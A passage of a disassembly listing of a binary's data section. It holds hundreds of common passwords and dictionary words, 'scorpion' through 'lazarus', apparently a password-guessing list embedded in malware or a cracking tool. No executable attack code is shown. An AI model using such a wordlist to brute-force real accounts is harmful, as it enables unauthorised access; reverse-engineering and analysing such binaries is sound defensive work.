align 4
aScorpion db 'scorpion',0 ; DATA XREF: .data:0042FF88o
align 4
aScifi db 'scifi',0 ; DATA XREF: .data:0042FF84o
align 10h
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .data:0042FF80o
aSchool db 'school',0 ; DATA XREF: .data:0042FF7Co
align 4
aScheme db 'scheme',0 ; DATA XREF: .data:0042FF78o
align 4
aScamper db 'scamper',0 ; DATA XREF: .data:0042FF74o
aSaxon db 'saxon',0 ; DATA XREF: .data:0042FF70o
align 4
aSaturn db 'saturn',0 ; DATA XREF: .data:0042FF6Co
align 4
aSaturday db 'saturday',0 ; DATA XREF: .data:0042FF68o
align 10h
aSarah db 'sarah',0 ; DATA XREF: .data:0042FF64o
align 4
aSara db 'sara',0 ; DATA XREF: .data:0042FF60o
align 10h
aSandy db 'sandy',0 ; DATA XREF: .data:0042FF5Co
align 4
aSandra db 'sandra',0 ; DATA XREF: .data:0042FF58o
align 10h
aSample db 'sample',0 ; DATA XREF: .data:0042FF54o
align 4
aSamantha db 'samantha',0 ; DATA XREF: .data:0042FF50o
align 4
aSalt db 'salt',0 ; DATA XREF: .data:0042FF4Co
align 4
aSale db 'sale',0 ; DATA XREF: .data:0042FF48o
align 4
aSalami db 'salami',0 ; DATA XREF: .data:0042FF44o
align 4
aSafe db 'safe',0 ; DATA XREF: .data:0042FF40o
align 4
aRuth db 'ruth',0 ; DATA XREF: .data:0042FF3Co
align 4
aRush db 'rush',0 ; DATA XREF: .data:0042FF38o
align 4
aRunning_0 db 'running',0 ; DATA XREF: .data:0042FF34o
aRules db 'rules',0 ; DATA XREF: .data:0042FF30o
align 4
aRude db 'rude',0 ; DATA XREF: .data:0042FF2Co
align 4
aRuby db 'ruby',0 ; DATA XREF: .data:0042FF28o
align 4
aRuben db 'ruben',0 ; DATA XREF: .data:0042FF24o
align 4
aRubber db 'rubber',0 ; DATA XREF: .data:0042FF20o
align 4
aRough db 'rough',0 ; DATA XREF: .data:0042FF1Co
align 4
aRoses db 'roses',0 ; DATA XREF: .data:0042FF18o
align 4
aRosemary db 'rosemary',0 ; DATA XREF: .data:0042FF14o
align 10h
aRosebud db 'rosebud',0 ; DATA XREF: .data:0042FF10o
aRose db 'rose',0 ; DATA XREF: .data:0042FF0Co
align 10h
aRonald db 'ronald',0 ; DATA XREF: .data:0042FF08o
align 4
aRomulan db 'romulan',0 ; DATA XREF: .data:0042FF04o
aRomeo db 'romeo',0 ; DATA XREF: .data:0042FF00o
align 4
aRomano db 'romano',0 ; DATA XREF: .data:0042FEFCo
align 10h
aRolex db 'rolex',0 ; DATA XREF: .data:0042FEF8o
align 4
aRodent db 'rodent',0 ; DATA XREF: .data:0042FEF4o
align 10h
aRockyhor db 'rockyhor',0 ; DATA XREF: .data:0042FEF0o
align 4
aRocky db 'rocky',0 ; DATA XREF: .data:0042FEECo
align 4
aRock db 'rock',0 ; DATA XREF: .data:0042FEE8o
align 4
aRocheste db 'rocheste',0 ; DATA XREF: .data:0042FEE4o
align 4
aRochelle db 'rochelle',0 ; DATA XREF: .data:0042FEE0o
align 4
aRobyn db 'robyn',0 ; DATA XREF: .data:0042FEDCo
align 4
aRobotics db 'robotics',0 ; DATA XREF: .data:0042FED8o
align 4
aRobot db 'robot',0 ; DATA XREF: .data:0042FED4o
align 10h
aRobin db 'robin',0 ; DATA XREF: .data:0042FED0o
align 4
aRobert db 'robert',0 ; DATA XREF: .data:0042FECCo
align 10h
aRoach db 'roach',0 ; DATA XREF: .data:0042FEC8o
align 4
aRisc db 'risc',0 ; DATA XREF: .data:0042FEC4o
align 10h
aRipple db 'ripple',0 ; DATA XREF: .data:0042FEC0o
align 4
aRiot db 'riot',0 ; DATA XREF: .data:0042FEBCo
align 10h
aRing db 'ring',0 ; DATA XREF: .data:0042FEB8o
align 4
aRightwin db 'rightwin',0 ; DATA XREF: .data:0042FEB4o
align 4
aRight db 'right',0 ; DATA XREF: .data:0042FEB0o
align 4
aRiffraff db 'riffraff',0 ; DATA XREF: .data:0042FEACo
align 4
aRick db 'rick',0 ; DATA XREF: .data:0042FEA8o
align 10h
aRich db 'rich',0 ; DATA XREF: .data:0042FEA4o
align 4
aRhino db 'rhino',0 ; DATA XREF: .data:0042FEA0o
align 10h
aReveal db 'reveal',0 ; DATA XREF: .data:0042FE9Co
align 4
aResistan db 'resistan',0 ; DATA XREF: .data:0042FE98o
align 4
aRepublic db 'republic',0 ; DATA XREF: .data:0042FE94o
align 10h
aReport db 'report',0 ; DATA XREF: .data:0042FE90o
align 4
aRent db 'rent',0 ; DATA XREF: .data:0042FE8Co
align 10h
aReno db 'reno',0 ; DATA XREF: .data:0042FE88o
align 4
aRenee db 'renee',0 ; DATA XREF: .data:0042FE84o
align 10h
aRemote db 'remote',0 ; DATA XREF: .data:0042FE80o
align 4
aRelease db 'release',0 ; DATA XREF: .data:0042FE7Co
aRegional db 'regional',0 ; DATA XREF: .data:0042FE78o
align 4
aReferenc db 'referenc',0 ; DATA XREF: .data:0042FE74o
align 4
aRedhead db 'redhead',0 ; DATA XREF: .data:0042FE70o
aReddawn db 'reddawn',0 ; DATA XREF: .data:0042FE6Co
aRecord db 'record',0 ; DATA XREF: .data:0042FE68o
align 10h
aRebel db 'rebel',0 ; DATA XREF: .data:0042FE64o
align 4
aRebecca db 'rebecca',0 ; DATA XREF: .data:0042FE60o
aRebal db 'rebal',0 ; DATA XREF: .data:0042FE5Co
align 4
aReaper db 'reaper',0 ; DATA XREF: .data:0042FE58o
align 10h
aReam db 'ream',0 ; DATA XREF: .data:0042FE54o
align 4
aReally db 'really',0 ; DATA XREF: .data:0042FE50o
align 10h
aReality db 'reality',0 ; DATA XREF: .data:0042FE4Co
aReagan db 'reagan',0 ; DATA XREF: .data:0042FE48o
align 10h
aRazor db 'razor',0 ; DATA XREF: .data:0042FE44o
align 4
aRascal db 'rascal',0 ; DATA XREF: .data:0042FE40o
align 10h
aRape db 'rape',0 ; DATA XREF: .data:0042FE3Co
align 4
aRaleigh db 'raleigh',0 ; DATA XREF: .data:0042FE34o
aRaindrop db 'raindrop',0 ; DATA XREF: .data:0042FE30o
align 4
aRainbow db 'rainbow',0 ; DATA XREF: .data:0042FE2Co
aRain db 'rain',0 ; DATA XREF: .data:0042FE28o
align 4
aRaid db 'raid',0 ; DATA XREF: .data:0042FE24o
align 4
aRachmani db 'rachmani',0 ; DATA XREF: .data:0042FE20o
align 10h
aRachelle db 'rachelle',0 ; DATA XREF: .data:0042FE1Co
align 4
aRachel db 'rachel',0 ; DATA XREF: .data:0042FE18o
align 4
aRabbit db 'rabbit',0 ; DATA XREF: .data:0042FE14o
align 4
aQwerty db 'qwerty',0 ; DATA XREF: .data:0042FE10o
align 4
aQwert db 'qwert',0 ; DATA XREF: .data:0042FE0Co
align 4
aQuebec db 'quebec',0 ; DATA XREF: .data:0042FE08o
align 4
aPussy db 'pussy',0 ; DATA XREF: .data:0042FE04o
align 4
aPuppet db 'puppet',0 ; DATA XREF: .data:0042FE00o
align 4
aPunk db 'punk',0 ; DATA XREF: .data:0042FDFCo
align 4
aPunisher db 'punisher',0 ; DATA XREF: .data:0042FDF8o
align 4
aPuneet db 'puneet',0 ; DATA XREF: .data:0042FDF4o
align 10h
aPumpkin db 'pumpkin',0 ; DATA XREF: .data:0042FDF0o
aPuke db 'puke',0 ; DATA XREF: .data:0042FDECo
align 10h
aPuck db 'puck',0 ; DATA XREF: .data:0042FDE8o
align 4
aPublic db 'public',0 ; DATA XREF: .data:0042FDE4o
align 10h
aPsychopa db 'psychopa',0 ; DATA XREF: .data:0042FDE0o
align 4
aPsycho db 'psycho',0 ; DATA XREF: .data:0042FDDCo
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: .data:0042FDD8o
align 10h
aProtect db 'protect',0 ; DATA XREF: .data:0042FDD4o
aPrompt db 'prompt',0 ; DATA XREF: .data:0042FDD0o
align 10h
aProgram db 'program',0 ; DATA XREF: .data:0042FDCCo
aProfile db 'profile',0 ; DATA XREF: .data:0042FDC8o
aProfesso db 'professo',0 ; DATA XREF: .data:0042FDC4o
align 4
aProcesso db 'processo',0 ; DATA XREF: .data:0042FDC0o
align 4
aProceed db 'proceed',0 ; DATA XREF: .data:0042FDBCo
aPrivs db 'privs',0 ; DATA XREF: .data:0042FDB8o
align 4
aPrivate db 'private',0 ; DATA XREF: .data:0042FDB4o
aPriv db 'priv',0 ; DATA XREF: .data:0042FDB0o
align 4
aPrinter db 'printer',0 ; DATA XREF: .data:0042FDACo
aPrinceto db 'princeto',0 ; DATA XREF: .data:0042FDA8o
align 4
aPrince db 'prince',0 ; DATA XREF: .data:0042FDA4o
align 4
aPresto db 'presto',0 ; DATA XREF: .data:0042FDA0o
align 4
aPrelude db 'prelude',0 ; DATA XREF: .data:0042FD9Co
aPrecious db 'precious',0 ; DATA XREF: .data:0042FD98o
align 10h
aPraise db 'praise',0 ; DATA XREF: .data:0042FD94o
align 4
aPower db 'power',0 ; DATA XREF: .data:0042FD90o
align 10h
aPoster db 'poster',0 ; DATA XREF: .data:0042FD8Co
align 4
aPost db 'post',0 ; DATA XREF: .data:0042FD88o
align 10h
aPorsche db 'porsche',0 ; DATA XREF: .data:0042FD84o
aPorno db 'porno',0 ; DATA XREF: .data:0042FD80o
align 10h
aPorn db 'porn',0 ; DATA XREF: .data:0042FD7Co
align 4
aPork db 'pork',0 ; DATA XREF: .data:0042FD78o
align 10h
aPoor db 'poor',0 ; DATA XREF: .data:0042FD74o
align 4
aPoop db 'poop',0 ; DATA XREF: .data:0042FD70o
align 10h
aPonderin db 'ponderin',0 ; DATA XREF: .data:0042FD6Co
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .data:0042FD68o
align 4
aPolly db 'polly',0 ; DATA XREF: .data:0042FD64o
align 10h
aPolice db 'police',0 ; DATA XREF: .data:0042FD60o
align 4
aPoetry db 'poetry',0 ; DATA XREF: .data:0042FD5Co
align 10h
aPlymouth db 'plymouth',0 ; DATA XREF: .data:0042FD58o
align 4
aPluto db 'pluto',0 ; DATA XREF: .data:0042FD54o
align 4
aPlover db 'plover',0 ; DATA XREF: .data:0042FD50o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .data:0042FD4Co
aPlane db 'plane',0 ; DATA XREF: .data:0042FD48o
align 4
aPizza db 'pizza',0 ; DATA XREF: .data:0042FD44o
align 4
aPiss db 'piss',0 ; DATA XREF: .data:0042FD40o
align 4
aPinname db 'pinname',0 ; DATA XREF: .data:0042FD3Co
aPimp db 'pimp',0 ; DATA XREF: .data:0042FD38o
align 4
aPierre db 'pierre',0 ; DATA XREF: .data:0042FD34o
align 4
aPick db 'pick',0 ; DATA XREF: .data:0042FD30o
align 4
aPhuck db 'phuck',0 ; DATA XREF: .data:0042FD2Co
align 4
aPhreak db 'phreak',0 ; DATA XREF: .data:0042FD28o
align 4
aPhrase db 'phrase',0 ; DATA XREF: .data:0042FD24o
align 4
aPhrack db 'phrack',0 ; DATA XREF: .data:0042FD20o
align 4
aPhoton db 'photon',0 ; DATA XREF: .data:0042FD1Co
align 4
aPhone db 'phone',0 ; DATA XREF: .data:0042FD18o
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .data:0042FD14o
aPhilip db 'philip',0 ; DATA XREF: .data:0042FD10o
align 4
aPhil db 'phil',0 ; DATA XREF: .data:0042FD0Co
align 4
aPeter db 'peter',0 ; DATA XREF: .data:0042FD08o
align 4
aPete db 'pete',0 ; DATA XREF: .data:0042FD04o
align 4
aPervert db 'pervert',0 ; DATA XREF: .data:0042FD00o
aPersona db 'persona',0 ; DATA XREF: .data:0042FCFCo
aPersimmo db 'persimmo',0 ; DATA XREF: .data:0042FCF8o
align 10h
aPermit db 'permit',0 ; DATA XREF: .data:0042FCF4o
align 4
aPerfect db 'perfect',0 ; DATA XREF: .data:0042FCF0o
aPercolat db 'percolat',0 ; DATA XREF: .data:0042FCECo
align 4
aPepper db 'pepper',0 ; DATA XREF: .data:0042FCE8o
align 4
aPeoria db 'peoria',0 ; DATA XREF: .data:0042FCE4o
align 4
aPentium db 'pentium',0 ; DATA XREF: .data:0042FCE0o
aPenthous db 'penthous',0 ; DATA XREF: .data:0042FCDCo
align 10h
aPentagra db 'pentagra',0 ; DATA XREF: .data:0042FCD8o
align 4
aPentagon db 'pentagon',0 ; DATA XREF: .data:0042FCD4o
align 4
aPenname db 'penname',0 ; DATA XREF: .data:0042FCD0o
aPenis db 'penis',0 ; DATA XREF: .data:0042FCCCo
align 4
aPenguin db 'penguin',0 ; DATA XREF: .data:0042FCC8o
aPenelope db 'penelope',0 ; DATA XREF: .data:0042FCC4o
align 4
aPencil db 'pencil',0 ; DATA XREF: .data:0042FCC0o
align 4
aPecker db 'pecker',0 ; DATA XREF: .data:0042FCBCo
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .data:0042FCB8o
aPaula db 'paula',0 ; DATA XREF: .data:0042FCB4o
align 4
aPatty db 'patty',0 ; DATA XREF: .data:0042FCB0o
align 4
aPatriot db 'patriot',0 ; DATA XREF: .data:0042FCACo
aPatricia db 'patricia',0 ; DATA XREF: .data:0042FCA8o
align 4
aPaste db 'paste',0 ; DATA XREF: .data:0042FCA4o
align 10h
aPassphra db 'passphra',0 ; DATA XREF: .data:0042FCA0o
align 4
aPascal db 'pascal',0 ; DATA XREF: .data:0042FC9Co
align 4
aPapers db 'papers',0 ; DATA XREF: .data:0042FC98o
align 4
aPaper db 'paper',0 ; DATA XREF: .data:0042FC94o
align 4
aPapa db 'papa',0 ; DATA XREF: .data:0042FC90o
align 4
aPamela db 'pamela',0 ; DATA XREF: .data:0042FC8Co
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .data:0042FC88o
align 10h
aPaint db 'paint',0 ; DATA XREF: .data:0042FC84o
align 4
aPainless db 'painless',0 ; DATA XREF: .data:0042FC80o
align 4
aPacker db 'packer',0 ; DATA XREF: .data:0042FC7Co
align 4
aPackard db 'packard',0 ; DATA XREF: .data:0042FC78o
aPacific db 'pacific',0 ; DATA XREF: .data:0042FC74o
aOxford db 'oxford',0 ; DATA XREF: .data:0042FC70o
align 4
aOutside db 'outside',0 ; DATA XREF: .data:0042FC6Co
aOutput db 'output',0 ; DATA XREF: .data:0042FC68o
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: .data:0042FC64o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .data:0042FC60o
align 4
aOsiris db 'osiris',0 ; DATA XREF: .data:0042FC5Co
align 10h
aOscar db 'oscar',0 ; DATA XREF: .data:0042FC58o
align 4
aOrwell db 'orwell',0 ; DATA XREF: .data:0042FC54o
align 10h
aOrient db 'orient',0 ; DATA XREF: .data:0042FC50o
align 4
aOrca db 'orca',0 ; DATA XREF: .data:0042FC4Co
align 10h
aOperator db 'operator',0 ; DATA XREF: .data:0042FC48o
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .data:0042FC44o
align 4
aOpenlock db 'openlock',0 ; DATA XREF: .data:0042FC40o
align 4
aOpening db 'opening',0 ; DATA XREF: .data:0042FC3Co
aOmega db 'omega',0 ; DATA XREF: .data:0042FC34o
align 4
aOlivia db 'olivia',0 ; DATA XREF: .data:0042FC30o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .data:0042FC2Co
align 4
aOldage db 'oldage',0 ; DATA XREF: .data:0042FC28o
align 10h
aOkay db 'okay',0 ; DATA XREF: .data:0042FC24o
align 4
aOffice db 'office',0 ; DATA XREF: .data:0042FC20o
align 10h
aOcelot db 'ocelot',0 ; DATA XREF: .data:0042FC1Co
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: .data:0042FC18o
align 4
aObscurit db 'obscurit',0 ; DATA XREF: .data:0042FC14o
align 10h
aNyquist db 'nyquist',0 ; DATA XREF: .data:0042FC10o
aNuts db 'nuts',0 ; DATA XREF: .data:0042FC0Co
align 10h
aNutritio db 'nutritio',0 ; DATA XREF: .data:0042FC08o
align 4
aNumber db 'number',0 ; DATA XREF: .data:0042FC04o
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:0042FC00o
align 4
aNukem db 'nukem',0 ; DATA XREF: .data:0042FBFCo
align 4
aNuke db 'nuke',0 ; DATA XREF: .data:0042FBF8o
align 4
aNude db 'nude',0 ; DATA XREF: .data:0042FBF4o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .data:0042FBF0o
aNoxious db 'noxious',0 ; DATA XREF: .data:0042FBECo
aNovember db 'november',0 ; DATA XREF: .data:0042FBE8o
align 10h
aNovel db 'novel',0 ; DATA XREF: .data:0042FBE4o
align 4
aNova db 'nova',0 ; DATA XREF: .data:0042FBE0o
align 10h
aNoth db 'noth',0 ; DATA XREF: .data:0042FBDCo
align 4
aNotes db 'notes',0 ; DATA XREF: .data:0042FBD8o
align 10h
aNoreen db 'noreen',0 ; DATA XREF: .data:0042FBD4o
align 4
aNode db 'node',0 ; DATA XREF: .data:0042FBD0o
align 10h
aNobody db 'nobody',0 ; DATA XREF: .data:0042FBCCo
align 4
aNoble db 'noble',0 ; DATA XREF: .data:0042FBC8o
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: .data:0042FBC4o
align 4
aNita db 'nita',0 ; DATA XREF: .data:0042FBC0o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: .data:0042FBBCo
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .data:0042FBB8o
align 4
aNight db 'night',0 ; DATA XREF: .data:0042FBB4o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: .data:0042FBB0o
align 4
aNicole db 'nicole',0 ; DATA XREF: .data:0042FBACo
align 4
aNice db 'nice',0 ; DATA XREF: .data:0042FBA8o
align 4
aNext db 'next',0 ; DATA XREF: .data:0042FBA4o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .data:0042FBA0o
aNewton db 'newton',0 ; DATA XREF: .data:0042FB9Co
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .data:0042FB98o
align 10h
aNews db 'news',0 ; DATA XREF: .data:0042FB94o
align 4
aNewborn db 'newborn',0 ; DATA XREF: .data:0042FB90o
aNetwork_0 db 'network',0 ; DATA XREF: .data:0042FB8Co
aNetscape db 'netscape',0 ; DATA XREF: .data:0042FB88o
align 4
aNess db 'ness',0 ; DATA XREF: .data:0042FB84o
align 4
aNeptune db 'neptune',0 ; DATA XREF: .data:0042FB80o
aNepenthe db 'nepenthe',0 ; DATA XREF: .data:0042FB7Co
align 10h
aNavy db 'navy',0 ; DATA XREF: .data:0042FB78o
align 4
aNasa db 'nasa',0 ; DATA XREF: .data:0042FB74o
align 10h
aNapoleon db 'napoleon',0 ; DATA XREF: .data:0042FB70o
align 4
aNancy db 'nancy',0 ; DATA XREF: .data:0042FB6Co
align 4
aName db 'name',0 ; DATA XREF: .data:0042FB68o
align 4
aNagel db 'nagel',0 ; DATA XREF: .data:0042FB64o
align 4
aMutant db 'mutant',0 ; DATA XREF: .data:0042FB60o
align 4
aMuppets db 'muppets',0 ; DATA XREF: .data:0042FB5Co
aMsdos db 'msdos',0 ; DATA XREF: .data:0042FB58o
align 4
aMpeg db 'mpeg',0 ; DATA XREF: .data:0042FB54o
align 4
aMozart db 'mozart',0 ; DATA XREF: .data:0042FB50o
align 4
aMovies db 'movies',0 ; DATA XREF: .data:0042FB4Co
align 4
aMovie db 'movie',0 ; DATA XREF: .data:0042FB48o
align 4
aMove db 'move',0 ; DATA XREF: .data:0042FB44o
align 4
aMouse db 'mouse',0 ; DATA XREF: .data:0042FB40o
align 4
aMountain db 'mountain',0 ; DATA XREF: .data:0042FB3Co
align 4
aMosaic db 'mosaic',0 ; DATA XREF: .data:0042FB38o
align 10h
aMortgage db 'mortgage',0 ; DATA XREF: .data:0042FB34o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: .data:0042FB30o
align 4
aMortal db 'mortal',0 ; DATA XREF: .data:0042FB2Co
align 10h
aMorris db 'morris',0 ; DATA XREF: .data:0042FB28o
align 4
aMorley db 'morley',0 ; DATA XREF: .data:0042FB24o
align 10h
aMore db 'more',0 ; DATA XREF: .data:0042FB20o
align 4
aMoose db 'moose',0 ; DATA XREF: .data:0042FB1Co
align 10h
aMoor db 'moor',0 ; DATA XREF: .data:0042FB18o
align 4
aMoom db 'moom',0 ; DATA XREF: .data:0042FB14o
align 10h
aMonica db 'monica',0 ; DATA XREF: .data:0042FB10o
align 4
aMonday db 'monday',0 ; DATA XREF: .data:0042FB0Co
align 10h
aMoguls db 'moguls',0 ; DATA XREF: .data:0042FB08o
align 4
aMogul db 'mogul',0 ; DATA XREF: .data:0042FB04o
align 10h
aModem db 'modem',0 ; DATA XREF: .data:0042FB00o
align 4
aMode db 'mode',0 ; DATA XREF: .data:0042FAFCo
align 10h
aMkii db 'mkii',0 ; DATA XREF: .data:0042FAF8o
align 4
aMission db 'mission',0 ; DATA XREF: .data:0042FAF4o
aMisfit db 'misfit',0 ; DATA XREF: .data:0042FAF0o
align 4
aMinsky db 'minsky',0 ; DATA XREF: .data:0042FAECo
align 10h
aMinimum db 'minimum',0 ; DATA XREF: .data:0042FAE8o
aMine db 'mine',0 ; DATA XREF: .data:0042FAE4o
align 10h
aMike db 'mike',0 ; DATA XREF: .data:0042FAE0o
align 4
aMidieval db 'midieval',0 ; DATA XREF: .data:0042FADCo
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .data:0042FAD8o
align 10h
aMicropro db 'micropro',0 ; DATA XREF: .data:0042FAD4o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .data:0042FAD0o
align 4
aMicro db 'micro',0 ; DATA XREF: .data:0042FACCo
align 10h
aMickey db 'mickey',0 ; DATA XREF: .data:0042FAC8o
align 4
aMichelle db 'michelle',0 ; DATA XREF: .data:0042FAC4o
align 4
aMichele db 'michele',0 ; DATA XREF: .data:0042FAC0o
aMichelan db 'michelan',0 ; DATA XREF: .data:0042FABCo
align 4
aMichel db 'michel',0 ; DATA XREF: .data:0042FAB8o
align 10h
aMichael db 'michael',0 ; DATA XREF: .data:0042FAB4o
aMice db 'mice',0 ; DATA XREF: .data:0042FAB0o
align 10h
aMets db 'mets',0 ; DATA XREF: .data:0042FAACo
align 4
aMetalica db 'metalica',0 ; DATA XREF: .data:0042FAA8o
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .data:0042FAA4o
align 10h
aMetal db 'metal',0 ; DATA XREF: .data:0042FAA0o
align 4
aMerlin db 'merlin',0 ; DATA XREF: .data:0042FA9Co
align 10h
aMercury db 'mercury',0 ; DATA XREF: .data:0042FA98o
aMenu db 'menu',0 ; DATA XREF: .data:0042FA94o
align 10h
aMenace db 'menace',0 ; DATA XREF: .data:0042FA90o
align 4
aMemory db 'memory',0 ; DATA XREF: .data:0042FA8Co
align 10h
aMember db 'member',0 ; DATA XREF: .data:0042FA88o
align 4
aMelrose db 'melrose',0 ; DATA XREF: .data:0042FA84o
aMellon db 'mellon',0 ; DATA XREF: .data:0042FA80o
align 4
aMelissa db 'melissa',0 ; DATA XREF: .data:0042FA7Co
aMegan db 'megan',0 ; DATA XREF: .data:0042FA78o
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: .data:0042FA74o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .data:0042FA70o
align 10h
aMeagan db 'meagan',0 ; DATA XREF: .data:0042FA6Co
align 4
aMaurice db 'maurice',0 ; DATA XREF: .data:0042FA68o
aMath db 'math',0 ; DATA XREF: .data:0042FA64o
align 4
aMaster db 'master',0 ; DATA XREF: .data:0042FA60o
align 10h
aMason db 'mason',0 ; DATA XREF: .data:0042FA5Co
align 4
aMary db 'mary',0 ; DATA XREF: .data:0042FA58o
align 10h
aMarvin db 'marvin',0 ; DATA XREF: .data:0042FA54o
align 4
aMarty db 'marty',0 ; DATA XREF: .data:0042FA50o
align 10h
aMars db 'mars',0 ; DATA XREF: .data:0042FA4Co
align 4
aMarriage db 'marriage',0 ; DATA XREF: .data:0042FA48o
align 4
aMarni db 'marni',0 ; DATA XREF: .data:0042FA44o
align 4
aMarkus db 'markus',0 ; DATA XREF: .data:0042FA40o
align 4
aMark db 'mark',0 ; DATA XREF: .data:0042FA3Co
align 4
aMarines db 'marines',0 ; DATA XREF: .data:0042FA38o
aMarijuan db 'marijuan',0 ; DATA XREF: .data:0042FA34o
align 10h
aMarietta db 'marietta',0 ; DATA XREF: .data:0042FA30o
align 4
aMariens db 'mariens',0 ; DATA XREF: .data:0042FA2Co
aMaria db 'maria',0 ; DATA XREF: .data:0042FA28o
align 4
aMarcy db 'marcy',0 ; DATA XREF: .data:0042FA24o
align 4
aMarci db 'marci',0 ; DATA XREF: .data:0042FA20o
align 4
aMara db 'mara',0 ; DATA XREF: .data:0042FA1Co
align 4
aManager db 'manager',0 ; DATA XREF: .data:0042FA18o
aMana db 'mana',0 ; DATA XREF: .data:0042FA14o
align 4
aMalcom db 'malcom',0 ; DATA XREF: .data:0042FA10o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: .data:0042FA0Co
aMaint db 'maint',0 ; DATA XREF: .data:0042FA08o
align 4
aMail db 'mail',0 ; DATA XREF: .data:0042FA04o
align 4
aMagnet db 'magnet',0 ; DATA XREF: .data:0042FA00o
align 4
aMagic db 'magic',0 ; DATA XREF: .data:0042F9FCo
align 4
aMaggot db 'maggot',0 ; DATA XREF: .data:0042F9F8o
align 4
aMacro db 'macro',0 ; DATA XREF: .data:0042F9F4o
align 4
aMack db 'mack',0 ; DATA XREF: .data:0042F9F0o
align 4
aMacintos db 'macintos',0 ; DATA XREF: .data:0042F9ECo
align 4
aMachine db 'machine',0 ; DATA XREF: .data:0042F9E8o
aLynne db 'lynne',0 ; DATA XREF: .data:0042F9E4o
align 4
aLynn db 'lynn',0 ; DATA XREF: .data:0042F9E0o
align 10h
aLust db 'lust',0 ; DATA XREF: .data:0042F9DCo
align 4
aLuke db 'luke',0 ; DATA XREF: .data:0042F9D8o
align 10h
aLude db 'lude',0 ; DATA XREF: .data:0042F9D4o
align 4
aLucy db 'lucy',0 ; DATA XREF: .data:0042F9D0o
align 10h
aLucus db 'lucus',0 ; DATA XREF: .data:0042F9CCo
align 4
aLuck db 'luck',0 ; DATA XREF: .data:0042F9C8o
align 10h
aLover db 'lover',0 ; DATA XREF: .data:0042F9C4o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: .data:0042F9C0o
aLouis db 'louis',0 ; DATA XREF: .data:0042F9BCo
align 4
aLoser db 'loser',0 ; DATA XREF: .data:0042F9B8o
align 10h
aLorraine db 'lorraine',0 ; DATA XREF: .data:0042F9B4o
align 4
aLorin db 'lorin',0 ; DATA XREF: .data:0042F9B0o
align 4
aLori db 'lori',0 ; DATA XREF: .data:0042F9ACo
align 4
aLore db 'lore',0 ; DATA XREF: .data:0042F9A8o
align 4
aLoose db 'loose',0 ; DATA XREF: .data:0042F9A4o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: .data:0042F9A0o
align 4
aLois db 'lois',0 ; DATA XREF: .data:0042F99Co
align 4
aLogout db 'logout',0 ; DATA XREF: .data:0042F998o
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .data:0042F994o
align 10h
aLogic db 'logic',0 ; DATA XREF: .data:0042F990o
align 4
aLockword db 'lockword',0 ; DATA XREF: .data:0042F98Co
align 4
aLockout db 'lockout',0 ; DATA XREF: .data:0042F988o
aLock db 'lock',0 ; DATA XREF: .data:0042F984o
align 4
aLoad db 'load',0 ; DATA XREF: .data:0042F980o
align 4
aLive db 'live',0 ; DATA XREF: .data:0042F97Co
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .data:0042F978o
align 10h
aLisp db 'lisp',0 ; DATA XREF: .data:0042F974o
align 4
aLisa db 'lisa',0 ; DATA XREF: .data:0042F970o
align 10h
aLips db 'lips',0 ; DATA XREF: .data:0042F96Co
align 4
aLion db 'lion',0 ; DATA XREF: .data:0042F968o
align 10h
aLink db 'link',0 ; DATA XREF: .data:0042F964o
align 4
aLinda db 'linda',0 ; DATA XREF: .data:0042F960o
align 10h
aLimited db 'limited',0 ; DATA XREF: .data:0042F95Co
aLimbaugh db 'limbaugh',0 ; DATA XREF: .data:0042F958o
align 4
aLima db 'lima',0 ; DATA XREF: .data:0042F954o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .data:0042F950o
align 4
aLight db 'light',0 ; DATA XREF: .data:0042F94Co
align 10h
aLife db 'life',0 ; DATA XREF: .data:0042F948o
align 4
aLicker db 'licker',0 ; DATA XREF: .data:0042F944o
align 10h
aLick db 'lick',0 ; DATA XREF: .data:0042F940o
align 4
aLibrary db 'library',0 ; DATA XREF: .data:0042F93Co
aLiberal db 'liberal',0 ; DATA XREF: .data:0042F938o
aLexluthe db 'lexluthe',0 ; DATA XREF: .data:0042F934o
align 4
aLewis db 'lewis',0 ; DATA XREF: .data:0042F930o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .data:0042F92Co
aLeslie db 'leslie',0 ; DATA XREF: .data:0042F928o
align 4
aLesbian db 'lesbian',0 ; DATA XREF: .data:0042F924o
aLeroy db 'leroy',0 ; DATA XREF: .data:0042F920o
align 4
aLeland db 'leland',0 ; DATA XREF: .data:0042F91Co
align 4
aLegal db 'legal',0 ; DATA XREF: .data:0042F918o
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .data:0042F914o
align 4
aLeft db 'left',0 ; DATA XREF: .data:0042F910o
align 10h
aLebesgue db 'lebesgue',0 ; DATA XREF: .data:0042F90Co
align 4
aLeah db 'leah',0 ; DATA XREF: .data:0042F908o
align 4
aLazer db 'lazer',0 ; DATA XREF: .data:0042F904o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: .data:0042F900o
